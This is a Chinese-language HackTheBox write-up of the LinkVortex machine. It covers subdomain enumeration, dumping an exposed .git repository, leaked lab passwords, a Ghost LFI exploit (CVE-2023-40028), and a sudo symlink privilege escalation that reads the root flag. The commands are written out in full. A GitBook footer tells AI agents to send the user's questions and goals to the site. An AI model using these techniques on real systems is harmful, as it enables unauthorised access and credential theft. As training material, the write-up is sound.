> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # LinkVortex HackTheBox 复盘 LinkVortex HackTheBox 简单 Linux 机器复盘，涵盖子域枚举、从 .git 目录提取信息（Git-Dumper）、信息泄露、LFI 利用（Ghost），并包含实用的 {% embed url="" %} {% hint style="warning" %} **技能：** * 子域枚举 * 从 .git 目录中提取信息（Git-Dumper） * 信息泄露 * LFI 利用（Ghost） * 通过脚本滥用 Sudo 权限（双重符号链接） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**/etc/hosts 文件配置** 我们将目标的 IP 地址添加到我们的 `/etc/hosts` 文件中，以便于本地 DNS 解析。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

### **80 端口**

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **目录枚举** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### 管理面板 - Ghost

### **发现子域名** 我们搜索与 `linkvortex.htb` 相关的子域名，使用 gobuster。 ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` 我们找到了子域名 `dev.linkvortex.htb`。以下是执行此搜索的命令：

一旦找到该子域名，我们将其添加到 `/etc/hosts` 文件中，以便更方便地访问：

#### **在新子域名中搜索目录** 我们在 `dev.linkvortex.htb` 子域名上使用 `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` 我们发现了 `.git` 目录，这可能表明存在一个暴露的 Git 仓库。

### **使用 Git-Dumper 提取文件** 我们使用 `git-dumper` 工具从 `.git` 目录中提取文件并进行分析： ```git git-dumper http://dev.linkvortex.htb/.git .git ```

这使我们能够获取敏感文件，包括位于 `ghost/core/test/regression/api/admin/authentication.test.js`，在其中我们找到了一个密码：

**找到的密码：** ```parser OctopiFociPilfer45 ```

### **登录 Ghost 管理面板** 使用这个密码，我们尝试通过 `admin@linkvortex.htb` 电子邮件地址连接到 Ghost 管理面板： * **电子邮件** : `admin@linkvortex.htb` * **密码**: `OctopiFociPilfer45`

## 漏洞 GHost - LFI {% embed url="" %}

> 在端口扫描过程中，我们确认所使用的 Ghost 版本（v5.58）存在 LFI（本地文件包含）漏洞，CVE 编号为 CVE-2023-40028。为了利用该漏洞，我们下载了利用脚本并修改目标 URL，使其指向我们的 Ghost 实例。

以下是运行该漏洞利用的命令： ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` 然后我们获得一个 shell，并可以查看诸如 `/etc/passwd`.

**通过 LFI 访问内部路由** 在 `.git` 目录中，我们发现了一个 Docker 文件，它为我们提供了一个用于访问会话的内部路由： `/var/lib/ghost/config.production.json`.

我们使用 LFI 列出文件，并找到了一位名为 Bob 的用户的凭据：

**Bob 的凭据：** * **用户**: `bob@linkvortex.htb` * **密码**: `fibber-talented-worth` 我们使用 Bob 的凭据通过 SSH 连接到目标机器： ### user.txt 标志 :) 我们使用该密码 `fibber-talented-worth` 登录并访问文件 `user.txt`，在其中我们找到了 flag。

## root.txt 标志 :) ### SUDO - Clean/\_synLink.sh 我们正在寻找一种允许权限提升的漏洞。我们发现了一个具有 SUID 权限的文件。

#### **符号链接清理脚本分析** > 我们分析一个名为 `clean_symlink.sh`，它会检查作为参数提供的文件是否是一个指向 `.png` 文件的符号链接。如果该符号链接指向一个关键文件，脚本会将其删除。否则，它会将该符号链接移动到 `/var/quarantined/` 目录。如果 `CHECK_CONTENT` 环境变量被设置为 `true`，脚本会尝试读取该文件的内容。以下是创建利用所需符号链接的命令： ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` 然后我们使用以下命令运行脚本以获取 root flag： ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` 因此我们获得了 `root.txt` flag。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.